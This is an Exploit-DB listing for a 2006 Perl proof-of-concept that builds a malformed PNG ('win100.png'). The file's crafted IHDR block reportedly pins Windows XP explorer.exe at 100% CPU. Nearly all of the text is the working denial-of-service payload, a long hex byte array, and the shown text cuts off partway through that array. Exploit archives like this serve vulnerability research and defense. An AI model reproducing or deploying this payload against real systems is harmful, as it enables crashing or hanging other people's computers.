Exploit-DB #2194
Description: Microsoft Windows - '.png' IHDR Block Denial of Service (PoC) (1)
Type: dos
Platform: windows
Date: 2006-08-16
Author: Preddy

Exploit:
#!/usr/bin/perl

##################################################################################
#Microsoft Windows PNG IHDR block DoS poc
#More info: http://www.xsec.org/index.php?module=Releases&act=view&type=1&id=6
#Written by Preddy
#
#don't create the poc png file on windows it won't work as it should
#when i create it on windows with activeperl or visual c
#the png header becomes: 89 50 4e 47 0d 0d
#instead of            : 89 50 4e 47 0d 0a
#
#I currently have no single idea WHY it does that...
#so use linux to compile/run the script or the program
#
#http://www.team-rootshell.com
#
#Greetz to all of my friends at:
#
#FREENODE(irc.freenode.net): ##c,##linux,##php,##security,##slackware,#fluxbox,#perl,#remote-exploit,#tor
#MILW0RM(ABS.lcirc.net): #milw0rm
#STS(irc.smashthestack.org): #lecture,#social (special greetz to: esper and crystal <3<3<3)
#PTP(irc.eu.pulltheplug.org): #aso,#Social
#GSO(gso.eclipticx.net): #gso-chat
#TTNET(irc.ttnet.net.tr):#coders,#linux,#nukedx,#zion,#php
#SSTNET(irc.0x557.net):#darpa,#exploits,#m00,#ph4nt0m,#rx.rx,#segfault,#sscan
#xoron,sakkkure :D
#Rootshell Security Group and everyone else ^^
#
#This causes 100% cpu  tested on WinXp Sp2
#Cpu will keep running at 100% untill you close explorer.exe
#
##################################################################################

$file = 'win100.png';

$png =
"\x89\x50\x4e\x47\x0d\x0a\x1a\x0a\x00\x00\x00\x0d\x49\x48\x44\x52".
"\x00\x00\xff\xff\x00\x00\xff\xff\x08\x00\x00\x00\x00\xc3\x07\xf1".
"\x5c\x00\x00\x00\x07\x74\x49\x4d\x45\x07\xd6\x02\x0e\x0f\x25\x12".
"\x82\xba\x97\x53\x00\x00\x00\x09\x70\x48\x59\x73\x00\x00\x0a\xf0".
"\x00\x00\x0a\xf0\x01\x42\xac\x34\x98\x00\x00\x00\x04\x67\x41\x4d".
"\x41\x00\x00\xb1\x8f\x0b\xfc\x61\x05\x00\x00\x09\x4d\x49\x44\x41".
"\x54\x78\xda\xcd\x9d\x41\x6c\x1b\x45\x14\x40\x27\xff\x00\x00\x00".
"\xff\x00\xff\x00\x00\x00\x00\xff\xff\x00\xff\x00\xff\xff\xff\xff".
"\xff\xc8\xa8\xbd\x94\x0a\xc9\x2d\x1c\x20\x70\x71\x7a\xff\xff\xff".
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x4d\x0e\x75\x55\x55".
"\x4a\x72\x31\x6a\x39\xd8\x85\x83\x5b\x09\xd2\x14\x55\xc8\x2b\xa1".
"\x26\x15\x48\xd8\x16\x12\x69\x00\x01\x2a\x62\x59\xef\x7a\xd7\x5e".
"\x7b\x76\xfe\xff\x33\x63\x36\xff\x14\x7b\xff\xee\x3e\xff\x99\xff".
"\xe7\xcf\xcc\xdf\xcd\x98\xcd\x02\xf9\xe7\xc7\xdf\xd8\x36\x91\xc7".
"\x8c\x9d\xbd\x0f\xc1\x9f\xf6\xf7\xe5\xef\xbe\xf9\x3d\x6e\xb6\x80".
"\xf1\xe9\x97\x5e\x7d\x22\xf8\x64\xbb\xf2\xc7\xd7\xef\x3c\xa1\x70".
"\xc9\x11\xc8\xd8\xfe\x53\x77\x1e\x78\x70\x1e\xe3\x0f\x47\x1f\x8d".
"\x9b\x89\x23\x8f\xbf\xbb\xd5\x63\xfc\xe1\x85\xb8\x71\xf8\xb2\xe3".
"\xe4\x96\xcf\xb8\x5d\x11\x7d\x48\x87\xf1\xef\xd7\xe3\x46\x11\x40".
"\xce\x7b\x8c\xd5\xed\xd8\x17\x7d\xd9\xff\x73\x87\xf1\xdf\xb7\xa3".
"\x8e\x1b\x99\xb8\x09\x9d\xd8\x78\xb1\xc3\x78\x27\x32\xe8\x64\xec".
"\x7a\x36\x6e\x46\x36\x75\xdf\x61\xfc\x30\xf2\x70\xc6\xe9\x0b\x8d".
"\x9c\x11\x2f\xe3\xae\xaa\xcd\xfe\x8c\x76\xea\x8c\x1b\x9d\xe2\xb6".
"\x65\xc1\x66\x5b\x07\x22\x8f\x26\xbd\x30\x6f\x57\x92\x71\x32\xbe".
"\xf0\xa7\x88\xd1\xb4\x7d\x29\x9a\xf1\x31\x1e\xd8\x7a\x08\xa5\x37".
"\x7b\x3d\x3f\xaa\x6e\x99\x2c\xe4\x40\x1d\x81\x1d\x59\xd3\xee\x49".
"\x63\x24\xdd\x32\x5b\x6f\xda\x15\xb1\xca\x81\x2d\x34\xa3\xd3\x2d".
"\xb5\x37\x78\xb6\xee\x3a\xa5\x12\x63\x23\xc4\x68\x37\x0b\x5a\x1b".
"\x3c\x59\xee\xb6\x90\x12\x63\xd9\x1e\x90\xba\x46\x0f\xcf\xfb\xad".
"\xd4\x10\xff\x72\xc0\x67\x36\x07\xbf\x48\xdd\x28\x6a\x32\xa5\x59".
"\x39\x93\xe8\xfe\xb9\x17\x54\x16\xd9\x31\x6b\x0f\x4b\x43\x8b\x29".
"\x33\x7d\xdd\xa8\x29\xee\xe7\x80\x1d\xef\xf1\x0c\xb0\x92\x57\x47".
"\xcc\x5d\x25\xf9\x9f\xc8\x8e\x46\xc3\xe6\x49\x59\xb1\xbd\x8d\x62".
"\xd8\x15\x95\xec\xd8\xae\x72\xbf\x3e\xf1\x95\x5a\xd2\x76\x6e\x96".
"\xa6\x2f\x1e\x67\xd6\xf8\x5f\x9b\x8b\x2a\xed\x5d\x3e\x41\x3d\x43".
"\xd4\xd6\xcc\x68\xda\x11\x52\x91\x6d\x6f\x63\x28\xa0\xa9\xb5\x35".
"\x6b\xaf\x46\x1d\x39\x2c\xdb\xde\xe7\xc8\x56\x04\xda\x9a\x95\x22".
"\x8f\x98\x8b\x70\x2e\xc0\x91\x02\x1d\x11\x68\xeb\xc1\x21\x5b\xd9".
"\xbf\x73\x9c\xcb\x28\xb6\x35\x63\x4b\x82\x63\x27\x56\xa8\xf1\x3c".
"\xf3\x81\x84\x15\x41\x3b\x9a\x22\x43\xda\x4d\x5a\xa7\xe4\xc7\x5b".
"\x65\x3b\x5a\xab\xa2\xa3\x89\xab\xa4\x20\x54\xe2\xd3\xfc\xaa\x68".
"\x47\x96\x14\x1a\xd2\x99\x46\xe0\x3b\x65\x9e\x7f\x05\x30\xef\x01".
"\x19\x87\x13\x34\x59\xcf\x89\xea\x36\x6a\xf9\xa3\xf0\xd2\x81\xd4".
"\x91\x90\x75\x5b\x92\x11\x9e\x73\x59\x17\x00\x85\xd4\x0a\x2a\x89".
"\xc9\xa5\x22\x0e\x80\xdd\x11\xb6\x63\x54\xf6\xd3\x6f\x09\x04\x64".
"\xf4\x55\xca\xea\x76\x64\xed\x37\x5b\x80\x86\x79\x1d\x0e\x94\x73".
"\x91\xbf\x63\x03\x3a\x15\x33\xbf\xbe\x39\x0f\x69\x24\x3e\x87\x20".
"\xcd\xb7\x22\x0f\x6d\x02\xa7\xa2\x18\xd9\xd9\x4b\x90\x86\xb9\x02".
"\x44\xf3\xf7\x12\x91\x87\x40\x46\x44\x7f\xec\x48\x05\xea\x92\xc0".
"\x90\x63\x08\xce\x04\x7e\x1d\x76\x2d\x85\xcd\x59\x90\x46\x62\x51".
"\x74\xaf\x39\xc1\xb1\x7b\x0c\x12\x9c\x1d\x83\x35\x34\x39\x4b\x0a".
"\x43\x03\x70\x67\xb4\x1d\xd9\xcd\xe3\xa0\x4a\xe2\x6a\x24\x64\x5a".
"\x10\x9c\xa0\xa0\x81\xf4\x99\x8e\x5c\x3e\x05\xeb\x2c\x46\xad\x5b".
"\x1d\x12\x9c\xb4\xae\x8f\x91\x9d\x3d\x0f\xaa\x24\x3e\xe6\x87\x20".
"\x23\x2d\x38\x09\x1e\x66\xf0\x8c\xec\xe4\x17\x30\x24\x7f\x58\x1c".
"\x4f\x09\xce\xb9\xad\x93\x91\xcd\xc8\x42\xee\x13\x9d\xb2\xa1\x95".
"\xb1\x3d\x73\x03\xd4\x31\x79\x90\xd3\xa2\x33\x74\xf6\xc7\x0e\xe4".
"\x51\x30\x4c\x32\xb3\x34\x9c\xaa\x1d\x14\x9d\x00\x87\x47\x12\xa3".
"\x03\x09\x5b\x32\x35\x0c\xf9\x94\x40\xdd\xd2\xea\x33\xee\x15\x11".
"\xcd\x7d\xf8\xdc\xe0\x37\xa2\x15\xc6\x5f\xdb\xba\x19\x99\x75\x14".
"\x76\x9c\x13\xc5\xf0\x67\x23\x21\x50\x5e\x63\xa0\x50\x19\x1d\xc7".
"\x01\x93\x20\x36\x1b\x5e\xc2\x98\x10\xe9\x6e\x8c\x80\x91\xb5\x5f".
"\x83\x47\x9c\x0f\x42\xa3\xe2\x1e\x91\xea\xad\x51\x30\x3a\x23\xce".
"\xcb\x90\x7b\x27\x16\xfb\x23\x90\xc8\x8e\x2d\xd8\xad\xa5\x18\xd9".
"\x35\xb0\x53\x26\x4a\xc8\x4b\xad\xc3\xd1\x4c\x8e\x91\x59\x47\x4e".
"\x01\xe9\x4a\xaa\x88\xbb\x52\x0d\xa1\x23\xc7\xe8\xb4\x37\x64\xca".
"\x3e\xbf\x11\x85\x9e\x65\xcc\xcd\x90\x3